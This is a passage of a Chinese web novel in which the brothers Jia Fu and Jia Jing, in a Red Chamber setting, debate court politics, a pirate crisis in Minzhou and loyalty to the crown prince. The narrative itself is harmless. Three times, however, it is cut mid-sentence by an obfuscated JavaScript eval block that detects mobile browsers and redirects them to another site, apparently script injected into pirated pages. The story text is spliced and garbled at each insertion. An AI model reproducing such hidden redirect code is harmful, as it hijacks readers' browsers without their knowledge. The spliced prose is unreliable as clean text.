史云棠定定地看了贾敬好一会儿,才轻松的笑了笑,“阿元应该还没吃晚饭吧?” “我去吩咐人准备一些。” 说着便起身,向小厨房走去,给贾敬安排晚膳去了。 花厅内只剩下贾敷和贾敬两人。 贾敷转了转大拇指上的白玉扳指,抬眼看向自家弟弟,“你瞒了我什么事?” 贾敬摆了摆手,“哥,我没打算瞒你。” 他朝外看了看,“走,我们去书房说。” 史家的事情,必须跟贾敷说明白,却不能当着嫂子面说。 说到底,史家是史云棠的娘家,当面说,多少会让史云棠左右为难。 至于说完这件事,会不会引起贾敷和史云棠之间的芥蒂之心,贾敬是不担心的,兄嫂之间的情谊,他有目共睹。 相反,贾敬认为,坦白这一切后,贾敷反而会更加清楚史云棠的为难。 果不其然,当贾敬跟贾敷说完史家那些昏了头的想法后,贾敷猛地一拍桌子。 “啪!” 贾敬就看着那黄花梨桌子裂了几道裂缝。 “简直是痴心妄想!” 贾敷的手紧紧扣在桌案边,手背上青筋暴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14106113|147403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起,话从紧咬着的牙关里冒出, “我知道,咱们府降等袭爵,史家老太太看不上我,可没想到,她居然……” “难道那不得见人的宫里是什么好的去处吗?” 大乾自成立以来,为防止外戚干政,宫中后妃多是选自民间。即便是如今圣上看上的那位预备太子妃,瞧着是出身于圣上的母家承恩公府,看似名门,实则并无实权。 这承恩公的爵位也是圣上登基后,赐予其母家的荣恩。 像四王八公这样的勋贵人家,除非是落寞到了一定地步,不然不会选择送女儿进宫。 不过,凡是也有例外,就如江南甄家出的那位甄妃。 这不,破天的荣恩连保龄侯老夫人都看迷了眼,动了歪心思。 贾敷赤红了眼,颤着声音,“我知道,云棠嫁给我,是委屈了她,可是……没想到……” 史家老太太居然怀了那样的心思! 贾敬望着兄长这幅模样,心里也不是什么滋味,可他必须说。 他们宁国府的处境目前看着还不错,贾敷也避开了死局,但背后的危机一直是暗潮涌动,没人比贾敬更了解,他必须要刺激一下兄长。 “龙子凤孙……呵。” 贾敷脸上滑过一抹嘲讽,不知是在自嘲,还是在嘲讽其他。 “以为靠上储君就能荣恩不断了?便是圣上,也是喜怒无定。” “我们这些老亲各家,不管私下如何,面上那都只能向着圣上。” “哪有站队皇子的道理?一旦站队皇子,那便是明确了夺嫡之心,如今圣上正值壮年,起这样的心思,是嫌全族脑袋不够砍吗?” 他们这些老勋贵们,就算是做个死板的保皇党,也够子孙后代们在功劳溥上躺了。 贾敷说的这些,贾敬都明白。在壮年的天丰帝面前,若是露出丝毫站队皇子的想法,绝对会引起这位帝王的杀意。 可顺着天丰帝,真的会有好下场吗? 上辈子他们家的下场已经证明了一切。 不过,无论是靠哪一边,家中男子顶不上,光靠女人来维系彼此的利益关系,就宛如一根随时会断的蚕丝。 贾敷越说越尖利,“说句大逆不道的话,他萧淮川如今不过是储君,能不能坐上那位置还两说,他……” “啪!” 贾敬碰翻了桌案边的砚台,打断了贾敷的话。 “哥,慎言!”贾敬低垂着头,看不清神情。 贾敷也知道自己方才失言,可有些话,他确实也要说明白,贾敷盯着贾敬,语气郑重道:“阿元,哥知道你和太子殿下关系亲近,可是,你要知道。” “他是储君!” “他的身份,就是巨大的危险,是一切风暴的旋涡。” “我知道。”贾敬沉声答道。 他就是知道,萧淮川面临着什么,所以他一定要做些什么,他会一直站在萧淮川的身后。 他没有退路,也绝不会退。 至于兄长和宁国府,其实并不是一定要选择萧淮川。 虽然就目前形势来说,只有萧淮川登基,贾家和宁国府才有活路。 不过就目前来说,宁国府的立场模糊一些,反而可以更好的迷惑某些人的视线。 39.第 39 章 贾敷低头,不再作声,沉默地转着大拇指上的扳指。 书房内一片寂静。 忽然,贾敷像是做了什么决定,他忽然开口, “今日宴席,东平郡王私下寻了我。” 贾敬看向贾敷,眼神闪过一丝疑惑,“所为何事?” 东平郡王算起来,与二叔贾代善关系更为亲密,算是拜把子的弟兄,与他们宁国府关系倒显得没那么亲近。 私下说,看来这事情不方便放在面上,比较私密重要,那么找关系更亲近的贾代善更稳妥,怎么就找贾敷了呢? 贾敷显然也看出贾敬的想法,他没先急着解释,而是从旁边的书架上,拿出了一卷轴,铺在桌上。 贾敬凑近一看。 “这是……这是咱们大乾的舆图?” 贾敬盯着舆图的眼睛微微眯,目光上下扫视,落在了东南一角。 下一瞬,贾敷的手也点在了那个位置。 果然,东南闽州。 “看这里,闽州。”贾敷看着贾敬,“知道这是什么地方吗?” 贾敬颔首:“嗯,知道。东平王的封地所在。” 如今四王八公这些老勋贵,多是当年与太祖皇帝一起起事,获得爵位。 而四位异姓王,除了军功卓越,在亲疏远近上,与其他公侯相较,也与太祖皇帝亲近许多,虽是异姓,但还是有血缘姻亲关系在。 初封四王,即为“东平王,南安王,西宁王,北静王”,皇恩浩荡,世袭已有两代。 今日寻贾敷的,便是第二任东平郡王,梅君台,算起来,与他们的父亲是一辈。 贾敷点点头,“闽州这块地方,就是当年初代东平郡王起事的地方,天下初定后,太祖皇帝也就将这块地赐于东平郡王做封地,老东平郡王掌一方军务。” “而等到现任东平郡王承袭爵位时,为感‘皇恩浩荡’,‘主动’将手中的兵权军务全部交出。” 说到这里时,贾敷在某些字眼上加重了语气,脸上和眼底尽是讽刺。 “圣上因此大为感动,手一挥,为东平郡王增加了一万户食邑,兵权自然也是收了回去,而军务是则是转到了闽州都指挥使司。” 贾敬静静听着,心中揣测东平郡王的来意。 “东平郡王现如今看着不掌管闽州军务,可到底是他的封地,大小事务还是要看顾的。” 贾敷说着,手轻轻点在舆图闽州所在的地方,“这里现在有些不太平。” 贾敬眼皮一跳,脱口问道:“发生了什么事?” 他努力思索着脑海里的记忆,并没有想起,这个时间段中,闽州发生了什么事。 还是说,前世这段时间里,他处理兄长丧事,忽略了什么事情? 贾敷手指向旁边移了移,贾敬的目光跟着移动,他微微蹙眉,贾敷的手现在已经放在了闽州旁边的闽海旁。 忽然,贾敬像是想到了什么,猛地看向贾敷,“海匪?” 贾敷有些诧异贾敬会立刻猜出,却还是点了点头,“没错,就是海匪。” “闽州与南越交接的闽关,是我朝商船海运的重要港口,众多番邦朝贡亦是走此处上岸,贸易繁荣。” “因此离闽关不远处的地方,时常有海匪出没,劫持商船,掠夺货物财物,周边靠海边贸易的百姓也深受其害。” 贾敬沉吟点头,海匪之患,确实不小。但这件事也算是个顽疾,背后利益更是盘根错节,并不是一时半会就能解决的。 要论闽关不太平,那不太平也太久了,除非……有更不太平的事情。 贾敷终于说出了东平郡王找他的原因。 “郡王与我说,自今年开年以来,闽关处的海匪人数陡然变多,被掠劫的商船,十不存二。” “甚至这些海匪,已经猖獗到时常上岸,掠劫海边的百姓,烧杀抢掠,无恶不作,骇人听闻。” 贾敬赫然,眼皮又是一跳,“居然如此严重?” “可这件事,京中乃至朝堂,并未有人提及。” 他于前世也并未听说这件事。 贾敷什么都没说,只是说了句,“东平郡王三月前便已经将此事禀告给了圣上。” 至于为什么京中无人知晓这件事,那便只能是圣上的意思了。 贾敬的眼眸一沉,“他来找哥,是想做什么?” “闽关虽说在闽州和南越交接处,可是到底不归闽州管,更不该……东平郡王来管。” 贾敷盯着舆图上标着“闽关”二字的地方,缓缓道:“闽关距离京城,路途遥远,难免疏忽,京中便是想管,心力也有所不及。” “南越早前是蛮夷之地,归顺我大乾也不过近几十载,相较而言,东平郡王所处的闽州,反而可以更好的管辖。” 这话说的很有道理,可天丰帝能肯吗? 这无疑是在壮大东平郡王的势力。 如此一来,先前天丰帝收回兵权军务,就等同于白做了。 贾敷:“圣上说了,东平郡王前往闽州镇守,世子梅笑冬留守京城。” 贾敬了然,说得好听,留守京城,实则是扣留在京的人质。 贾敷说完最后一句,“郡王前往闽州,觉得人手不足,便来邀我,问我是否有兴趣一同前往。” 贾敬沉默,贾敷大抵猜到他的困惑,拍 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他朝贾敷抛出橄榄枝,贾敷又怎么不心动? 如今的局面也只有一搏了。 上辈子,并没有这件事。或者说,有,但因为贾敷意外惨死后,东平郡王便将此事搁置了,没有再提。 至于结果……据贾敬所知,那便是没什么大的改变。东平郡王并没有就此立功,也没有弄出什么乱子。 如此看来,可以一试。 贾敬知道贾敷想要博的想法,左右思量后,也觉得可行,然而到底担心,话还没说出口,贾敷便先开口了。 “至于我……”贾敷说到此处,顿了顿,“我自然不是明着去。” “先前不是和二叔商讨,让赦哥儿跟薛家世伯一起出去跑跑商路,见见世面?” “依我看,不若就这次,我送赦哥儿去金陵薛家,随后转道去闽州。” 贾敷转了转手上的扳指,眼中闪过一丝精光,“我若是没记错,当年二叔还在姑苏扬州一带监造过海舫,后来回了京后,还是留了一些产业在江南。” “我便借此,去闽州瞧瞧,看看那边是否合适。” 贾敬一听,好嘛,他哥看来早就想好了,看来他也不必劝了。 贾敷出京也好,天高皇帝远,施展的空间也大,一切早做打算。在京里总被人盯着,还不如出去。 他自己不日就要入翰林院,不出意外,得三年才能散馆,在此期间,贾敬的面上定是要装出懒散闲人的模样,混淆某些人的视听。 懒散闲人啊,他有些期待。 40.第 40 章 对于东平郡王的邀请,贾敷先前还在犹豫,可知晓史家老太君对自己的轻蔑后,再结合先前的刺杀危机,贾敷终于做出了决定。 不能一直被困在京中。 现在闽州一带有了这样的机会,可不能错过。 贾敷望着大乾这整张舆图,有些失神。这样完整的舆图,可不是一般人家能有的。 “当年祖父追随太祖皇帝起事,铁骑踏遍大半个前朝,功高得封宁国公。” 贾敷说着,嘴角扯了扯,带着些讽刺,“方才说到老东平郡王去时,上交了兵权,我们府又何尝不是?” “圣上登基,一朝天子一朝臣,我们这样人家,哪个没上交呢?” 贾敷说的这些,贾敬都明白,可不就是一朝天子一朝臣吗?想到上一世新帝登基,宁荣二府的处境,正是应验了。 可那时候,族中在朝堂上已无实权人物,族中子弟亦是不成气候,再无反抗的余地,如案板上的鱼肉,任人宰割。 贾敷眼眸微动,盯着贾敬,“阿元,你觉得我们父亲如何?” 这话,作为子辈,一般是不该问的。 提起贾代化,贾敬面露复杂之色。作为父亲,贾敬着实对他没什么好感。不管哥哥以及家中老仆如何说,贾敬也能感受到,贾代化不喜欢他。 不是贾敬自得,京城和他一般出身的子弟,有几个用功读书的? 然而贾代化非但不以此为荣,对贾敬的管教是愈发严格,稍有差池和不如他意的地方,立刻便恼了,将贾敬吊起来打,和审贼无异。 即便要说怨恨,几十年过去,贾敬心中的情绪也早已经淡了。 可若是从宁国府当家人,贾家族长来说,贾敬对此也是佩服,不说别说,他上辈子亦做过族长,与贾代化相比,他自愧不如。 且说刚刚贾敷所言,他们家上交了兵权,可即便是这样,贾代化除了世袭的一等神威将军爵位,凭借自己的本事,身居要职,官至京营节度使,掌京畿军政,京城防位,深得如今圣上信任。 贾敬一时陷入沉思,没有及时回答贾敷。贾敷本也没打算听贾敬说什么,他刚刚的问话,不过是为了抛砖引玉,引出他之后的话来。 “阿元,因着太祖皇帝和祖父的交情,咱们父亲打小跟在圣上身后,一起长大。圣上登基后,更是尽心尽力辅佐圣,操劳一生,也算是善终。” 然而,前不久,贾敬才与贾敷深聊过这个话题。贾代化在时,还有这层情分,如今贾代化逝世,人走茶凉,圣上又是多疑的性子,保不齐便是鸟尽弓藏。 这事他们探讨过,如今贾敷再拿出来说……贾敬心中暗忖,觉得贾敷的话还未说完。 于是,他缓缓抬眸,与贾敷专注深邃的目光对上,“哥哥想说什么?” “阿元。”贾敷深深凝视着贾敬,“你科举高中后,咱们府于京中处境便很微妙。如今去了翰林院,倒是能省了许多事。” “我不日便要出京,府中大大小小的事务众多,你嫂子一来要照顾珍儿,二来对外的事情,她到底不方便,剩下的还需你来打理。” “这是自然。”贾敬点头,接着看向贾敷,示意他接着说。 “只是……”贾敷深吸一口气,一字一顿道:“哥哥知道你和太子殿下从小一起长大,他待你好,不过眼下,你既然入了官场,有了官身,那么便该和太子殿下避避嫌了。” “储君的身份,到底太过敏感了些。” 说完,贾敷的目光不自觉地望向贾敬胸前挂着的那枚玉牌,今日萧淮川为贾敬挂上玉牌,贾敷在旁边看了个全程。 那亲近的样儿,让贾敷害怕。 想来在场其他人也都看见了,心中还不知怎么揣测贾敬乃至宁国府和储君的关系。 贾敷又想起圣上赐下的那道圣旨,知道这里面萧淮川定是做了什么,有些头疼,叹了口气, “这次是咱们府呈了他的情,咱们记着,若是往后有机会,能报答,咱们便报了,但从今日起,你们还是莫要再深交了。” 贾敬一怔,微微垂首,默然,不吭声。 他沉默不言的模样让贾敷更加头疼,他揉了揉额角,苦口婆心道: “阿元,我晓得这样忽然让你疏远太子殿下,你有些难以接受。” “他如今对你的心,我也确实看在眼里,记在心里,也知道你们这些年情同手足,可是,人心难测,他更是那样特殊啊!” 贾赦咬着牙,硬挤出了一句话,“咱们父亲就是前车之鉴!他与圣上当年……” “如今呢?” 他后面的话没再说,贾敬却已经明白了他的未尽之言,甚至那些话还是前不久,贾敬与他所说。 贾敬紧抿着唇,他想要反驳,他想说他和萧淮川的情况,与父亲他们不一样。 可说出来,贾敷会信吗?在他眼中,没什么不同。 贾敬嘴唇蠕动,终究是吐出了一句:“淮哥他……和圣上不一样。” 贾敷听到贾敬对萧淮川的称呼后,直接倒吸一口气,声音不禁拔高,“是!是不一样!” 意识到声音过高后,贾敷又强行压低嗓音,语气微凉,“他还没坐上那个位置!” 他还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14168245|147403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轮不到和天丰帝比,储君到底不是君。 “他那位置看着稳,可圣上这些年对他的态度,有些微妙,你难道眼下就要参与夺位不成?” “有何不可?”在贾敷话音刚落后,贾敬便反问,直接将贾敷问住。 “更何况,什么叫夺?他本就东宫太子,圣上嫡长子,名正言顺的储君,继位也顺理成章,君命天授,何来的夺?” 贾敬语气冷静淡然,仿佛他不是在说什么大逆不道的话。可他那双眼,贾敷可以清晰的看见其野心,甚至是……一丝癫狂。 “你、你疯了?” 贾敷不禁瞪大眼睛,瞠目结舌,“阿元,你可知道你在说什么?” 这可是夺嫡! 然而话说到这个份上,贾敬也不想藏着掖着了,直接将话与贾敷说开。 贾敬冷哼一声,“哥,你怕不是忘了,如今的圣上,曾经非、嫡、非、长。” 而天丰帝为何能登上帝位,他父亲贾代化再清楚不过。 贾敷惊的嘴巴大张,半天说不出一句话来。 贾敬深呼吸一口气,“哥,我们如今走到这一步,难道你以为,我们不选,就能躲开吗?” “且不说圣上本就已经忌惮我们,就说他如今多疑的性子,对各位皇子的态度,便不难发觉,他是故意为之。” “是,如今他对淮哥的态度是微妙。”贾敬承认天丰帝如今对萧淮川晦涩不明的态度,甚至他比谁都清楚。 “可那有如何?难道其余几位他就满意了?”贾敬扯了扯嘴角,脸上面露讽刺。 “他不过是年纪越发老迈,望着成年的儿子们,心生畏惧。” “淮哥在朝堂上愈发稳固,他越害怕,所以才把其余皇子扶上来,跟淮哥打擂台。” 天丰帝的心思,贾敬清楚,“他只是不想服老罢了,待其余皇子立起来,他会更恐慌。” 不然上辈子,也不可能出现新帝登基,他这个太上皇还把持着朝政不愿放手,朝堂上出现二圣临朝,空悬二日的局面了。 “淮哥的储君之位已立多年,若无大错,岂是他想废就废?动摇国本的事情,朝野上下,岂能答应?” 贾敬说着,眼尾却慢慢泛了红,他想起了上一世。 上一世,萧淮川被人栽赃陷害,陷入巫蛊之术的风波。 即便是这样,天丰帝都未曾能将萧淮川的储君之位废除,只是将他囚禁在东宫之中。 是萧淮洵等人等不及,与神宫监掌印太监王定合谋,直接向萧淮川下了死手。 这一次,他不会让这些人得逞! 41.第 41 章 上辈子贾敬亲眼目睹萧淮川身死,很长一段时间内,那都是贾敬脑海里无法抹去的梦魇,如同恶鬼紧紧缠绕着他,痛苦与恐惧环绕着,让他陷入无边无际的深渊地狱。 不知多少个深夜,贾敬躺在床上辗转反侧,难以入眠。即便喝下安神汤,勉强阖上眼,也会一次次于梦中惊醒,浑身冷汗涔涔。 梦里会一直重现萧淮川被逼吞下丹药,阖上眼的最后一刻。他还在安抚贾敬,朝他笑着。 然而,就是这原本安宁的笑,瞬间染上了令人毛骨悚然的血红色,令贾敬遍体生寒。 “阿元......” 贾敬听到,那是萧淮川在轻声呼唤,心中的悲痛和悔恨席卷贾敬的全身。 贾敬浑浑噩噩了不知多少时日。 也正因如此,他忽略了萧淮川死时存在的诸多可疑之处。 且不谈那手法粗糙至极、破绽百出的巫蛊之术,单说萧淮洵后来指使王定动手的整个过程,都显得过于顺利了些。 好似萧淮川丝毫察觉到危险,没有任何防备,便让他们轻易得了手。 凭借贾敬对萧淮川的了解,他绝不可能会这么掉以轻心。 更何况,明明萧淮川还有余力让暗卫护着自己,送自己安全出了东宫。 可他自己却…… 这里面一定有贾敬不知道的隐情,可等他再去查时,线索早已经无处可查。 是他没用,什么都没有查出…… 念及上一世,贾敬忍不住的颤抖,眼眶发热泛着酸意,紧紧咬着牙关。 “阿元,你怎么了?” 贾敷见贾敬说着,竟然红了眼眶,又是一次惊吓。 “无事。” 贾敬别过脸,一把扯过旁边的椅子,颓丧地坐下,狠狠阖上眼。 贾敷见状,嘴张了又闭上,最终没再追问,亦是找了把椅子坐下,思考方才贾敬说的那些。 书房瞬间沉寂下来。 “阿元,你就那么看重他?真的认准他了?” 贾敷终究开了口,叹了口气,语气里带着些无奈。 贾敬缓缓睁开眼,却没看向贾敷,而是望着不远处的地面,目光有些散,缓缓道: “哥,如果仅仅是私心,我不会跟你说。” 贾敷一怔,没明白贾敬话中的意思,“什么?” “哥,若是只为了我和萧淮川之间的交情,我又怎么可能拉着全族下水?” “我的所作所为皆与府中无关,到那时,我会自请出族,或者,哥你逐我出族,绝不连累家族。” 贾敷听到贾敬这番话,猛地站起身,厉声喝道:“贾培元!你在胡说什么!” 于他们这样的家族,逐出家族是为重罪! 一般只有犯了不可饶恕的罪行,才会被逐出家族。 如今时下,多是讲究门第宗族,若是被逐出家族,变成“无根无源”之人,在这世间,说是寸步难行也不为过。 而贾敬若是真的这么做,那便是没给自己留半点后路。 贾敷盯着贾敬的眼睛都要瞪出眼眶,自家弟弟居然能为萧淮川做到这一步? 他是在威胁自己吗? 这个想法一经冒出,便被贾敷打消。 阿元不会做出这种威胁自己,让自己妥协的事情来。 那么,阿元是认真的。 贾敷眉头紧皱,眼神复杂,抿了抿唇问道:“你真的看准他?” 贾敬缓缓抬起头,定定地望着贾敷,“是,哥,我看准他。” 他信任萧淮川。 这份信任不是贾敬盲目,也不是源于他对萧淮川的情感,而是他对萧淮川品性的认可。 他相信,萧淮川若是最后登上大宝,凭借萧淮川的品性,他们宁国府再惨也不会是上辈子那样。 除去萧淮川,无论是现在封为齐王、上辈子封为忠顺王的二皇子萧淮洵,亦或是上辈子最后登上帝的新帝,如今还未封王的三皇子萧淮泽,对宁国府都是虎视眈眈。 不过上辈子的遭遇,也没法跟贾敷说。 贾敬紧紧盯着贾敷,眼里透露出一抹少见的紧张,生怕与自家兄长的想法相左。 心中也已经在思忖,还能怎么说服兄长。 贾敷叹了口气,手支撑着额头,揉了揉。 本以为还能和稀泥一段时间,也抱着侥幸之心,不想去做这决定全族命运的选择。 然而今日,贾敬却将这纸糊的窗户给捅破了。 贾敷也知道,京中情形迫在眉睫,是时候要做选择了。 诚然贾敬所说,走到这一步,不是他们不想选,就可以不选了。 现在还能有自己选择的余地,若是随着事态发展,可能便是被裹挟着被迫站队了。 贾敷仔细思考着,分析完发现,还真的只有萧淮川合适。 “啧。”贾敷轻啧一声,忍不住说了句,“这都叫什么事儿啊?” 他们半个时辰前刚说史家老太君胆大妄为,现在自己倒是先站了队? 不过,史家情况与他们宁国府情况到底还是不一样。 史家如今还深受圣上器重,这不,保龄侯离京这些日子,不就是为圣上处理事情去了吗? 贾敬还等着贾敷的回应,贾敷瞥了眼,见他眼巴巴的模样,心中更觉得有些不对味,可也不知道为什么。 最终只是无奈点头,“哥知道了。” 贾敬松了口气,眉眼染上了一层笑。 贾敷见状扯了扯嘴角,倾身,伸手,直接捏住了贾敬的脸,“你现在倒是越来越有主意了!” “他到底给你灌了什么迷魂汤?”贾敷又忍不住感慨一句。 贾敬一愣,随后明白贾敷口中的他,是指萧淮川。 他对萧淮川那隐秘的心思,到底心虚,被贾敷这么一点,眼里便涌上了几分无措,连忙垂下眼去。 贾敷那双眼,今晚利的跟鹰似的,贾敬的异样虽只有那么一瞬,却还是被贾敷捕捉到。 阿元不对劲,有事瞒着自己。 和萧淮川有关? 贾敷脑海里又回闪过萧淮川与贾敬两人挨着亲近的画面,贾敷心头晃过一抹思绪,稍纵即逝,他没有抓住。 他眼眸微微眯起,手指轻点在桌案上,发出有节奏的“哒哒哒”声。 “阿元,这件事,我们就算有了想法,可面上,也不能显露啊。” 贾敬点头,“嗯。” 贾敷:“所以,哥先前和你说的,你还是得和那位避避嫌。” 还未等贾敬说话,贾敷又连忙补充,“也没让你忽的疏离他,这也反常,反倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175183|147403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会引起一些人注意。” “你就自己把握,别跟小时候那样,没个分寸就好。” 贾敬沉默了会儿,终究是点了头,“好,我心里有数。” 他也不是非要跟着萧淮川。 两人凑太近,反而会影响贾敬自己的心虚。借此机会疏远,拉开距离,他或许能查到一些新的线索,发现一些先前发现不了的东西。 宁国府与东宫的关系,表面上,也不该过分亲近。 贾敷这才满意,“那我便才能放心去南方,” 贾敬眨了眨眼睛,忽然想到了什么,“哥,你与嫂子说了这事儿吗?” 贾敷身体一滞,目瞪口呆。 贾敬见状便知道,他哥这决定是自作主张啊,没和他嫂子说呢,随即给了贾敷一个“老实交代,自求多福”的眼神。 “叩叩叩。” 门外传来叩门声,紧接着,“如开,我进来了?” 说曹操曹操便到了,是史云棠的声音。 贾敷顿时一慌,骤然站起身,手足无措。 史云棠一进来就见贾敷这个模样,挑了挑秀眉,眼神瞬间变得微妙。 以她对贾敷的了解,他定是背着自己做了什么心虚的事情。 下一瞬,史云棠便移开了目光,像是没看出贾敷的异样,看着贾敬,笑道: “阿元,来尝尝嫂子做的枣仁桂圆汤,里面放了些五味子,有安神的效用,今天累了一天了,你吃完便好好睡一觉。” 贾敬点头应着,“诶,劳烦嫂子了。” 史云棠身后的丫鬟将一个托盘里的碗碟端至贾敬旁边的桌案,里面放了个汤匙。 贾敬伸手,作势去拿汤匙,史云棠制止,“阿元,你的手……让小丫头伺候你用膳吧。” “不碍事。”贾敬微微动了动手指,“真没残废,恢复的很好,拿勺子,没问题。” 说完便两根手指捻起了汤匙,他可不想让人喂了。 贾敷也紧张地看着,见贾敬捻着汤匙,虽有些抖霍,但也没洒了,这才没多说什么。 “啪!” 碗碟放置在桌案上的声音,有些清脆,贾敷眸光转回,就对上史云棠笑着的脸。 “如开,你喜欢的金桔雪梨汤,清火润喉。”史云棠那双杏眸好似看透了一切,“多喝点。” 贾敷本就心虚,现在更是坐立不安,扯了扯嘴角,“劳烦夫人,我刚好饿了 。” 说完连忙低下头,也不顾着烫,连忙巴拉了几口,史云棠一旁看着,也不提醒。 “嘶……” 贾敷被烫的倒吸一口气,脸都皱了起来。 贾敬闻言,看戏般的抬起头,谁知戏还没看成,就听他嫂子开口, “阿元,有件事儿,忘了和你说,明日下午,理国公夫人邀我去他们府中听戏,你随我一起去。” 勺子刚放入嘴边的贾敬愣住,连忙咽下,“嫂子去听戏,带我作甚?” 史云棠朝他挤了挤眼,“自然是好事。” 贾敬心一沉,不会是去……相看吧? “我就不……” “去,必须去!”贾敷立刻打断贾敬拒绝的话。 要贾敷说,贾敬现在就是闲的,赶紧相看姑娘吧,这样就没时间和萧淮川整日黏在一起了。 42.第 42 章 “阿元就跟我去吧,他家世子还攒了一个马球的局儿,你若是嫌听戏无聊,去那边也是一样的。” 史云棠紧跟着贾敷后面开口。 贾敬抽了抽嘴角,抬起自己正用两根手指捏着汤匙的手,“我这样还打马球?” 史云棠粲然一笑,“所以阿元安心陪嫂子听戏便是。” 贾敬:…… “就是就是,陪你嫂子去!” 贾敷又塞了一口汤,催促着贾敬,那狗腿的模样,惹得贾敬忍不住白了他一眼。 望着自己面前的枣仁桂圆汤,感受着体内热汤下去的熨帖,贾敬只好点头,“好,我听嫂子的。” 贾敷伸手拍了拍贾敬的肩膀,“就该这样!咱们家都听你嫂子的!” “都听我的?”史云棠斜了眼贾敷,好似意有所指道,“你也是吗?” 史云棠的手指轻轻搭在了贾敷的肩上,贾敷一僵,心底起了慌张。 “嗯?”史云棠尾音一扬。 贾敷胡乱点着头,应道:“那当然!” “呵。”贾敬见状,扯出一抹笑,将碗中最后一颗桂圆吃完,接着站起身,看向史云棠,“嫂子,我先回去歇着了。” 走前贾敬不顾贾敷求助的目光,给了贾敷一个“自求多福”的眼神,便直接转身出了书房。 自作主张定下那么大的事情,还是让他哥自己跟嫂子解释去吧。 · 史云棠的那碗枣仁桂圆汤效果显著,贾敬一夜好眠,睁眼便已经天光大亮。 这一日依旧是个好天,贾敬起床洗漱完后,素雪就又捧着一盘托盘进来。 贾敬看着眼生的衣服,有些头疼,“素雪,可别让嫂子再给我做新衣了,都穿不完了。” 素雪笑着,“二爷,大奶奶说了,今日您可是要跟她出去,为她撑脸面的,马虎不得。” 贾敬最终还是屈服于自家嫂子的淫威,又穿上了新衣服。 这次的衣服花色不似昨日那般鲜艳,却和他脖颈上挂着的那枚玉牌相得益彰。 贾敬又被素雪一番折腾,腰间挂了一堆配饰,见素雪还思考着挂什么事,贾敬连忙制止。 “素雪,御医这会子应该已经到院门了,你去迎一下。” 素雪一听,立刻放下手中的东西,出了门去迎御医。 御医照例帮贾敬换药,见贾敬这身打扮,不禁问道:“贾二爷今日可是要出门?” 贾敬点头,随口答道:“嗯,理国公府设宴,邀了嫂子前去,我陪着。” 御医帮贾敬缠完手,便背着药箱告退了。 贾敬缓步朝西角门走去,身后是常跟着他的小厮阿禄。 “阿福家里如何了?” 阿禄:“回二爷,阿福找人递了话,说他娘好多了,处理好家中的事情,便回来当差。” 贾敬:“不急,处理好了再回来,有什么事,尽管来说便是。” 就在贾敬跨过角门时,他脚步忽然一顿,目光落在门边垂头站着的小厮。 有些眼熟。 贾敬盯着那小厮瞧了好半晌,小厮则是惊慌失措,以为自己做错了什么,差点就要跪下了。 小厮苦着一张脸,“二爷……” “哦,你是那晚的小厮。”贾敬想起来了,这就是他重生那天,回府遇见的小厮。 见小厮颤抖的样子,贾敬笑了笑,上次见还觉得机灵,今日倒有些露怯。 不过,贾敬看他顺眼,颔首问道:“叫什么名儿?” 小厮先是一愣,随后有些难为情的开口,“小的叫二狗。” 他觉得这名字污了自家二爷的耳。 贾敬表情未变,只是说,“可愿意去我院里做事?” “啊?”二狗以为自己听错了。 “不愿意?” “不不不!”二狗连忙摆手,连忙点头,“小的愿意!小的愿意!” 他满眼的不可置信,他一个看门的小厮,居然一跃变成府里主子爷们后头的跟班了? 二狗说完就要跪下谢恩。 跟在贾敬身后的阿禄见了哪能不明白,自己二爷满意这小厮呢,他立刻抓住二狗的胳臂, “咱们二爷不喜这些虚礼。” 贾敬迈步出了角门,“跟着吧,阿禄你多照看他些。” 二狗愣愣地望着贾敬的背影,脑子如一团浆糊,这都是真的? “走吧,跟着咱们二爷,你小子算是有福了。”阿禄拍了怕二狗。 “我、我……”二狗都要语无伦次了。 “别怕,我带你。” 马车已经在角门外等候,前后两辆马车。 “二爷,大奶奶已经上了马车,正等着您呢。” 后面那辆马车的小厮来请,道明了情况。 前头那辆马车听见外面声音,帘子撩起,露出了史云棠的脸。 她上下打量着贾敬,露出了满意的笑,“我家阿元当真俊俏,真给嫂子长脸!” 贾敬无奈的笑了笑,他仔细打量着史云棠的神情,与往常无异,也不知道昨晚贾敷有没有和她摊牌。 但这是他们两口子的事,无需他多管。贾敬转身向后面那辆马车走去。 理国公府距离宁国公府并不远,也就隔了两条街,贾敬上车刚打个盹,没一会儿功夫,马车就停了。 “二爷,咱们到了。” 贾敬睁开眼,眼神清明,昨晚睡得好,他也不是多困。 他伸出手,轻轻撩开帘子,就看见他嫂子已经下了马车,正和几位华服夫人正聊得火热。 贾敬沉默,心中有了悔意,他今日就不该来。 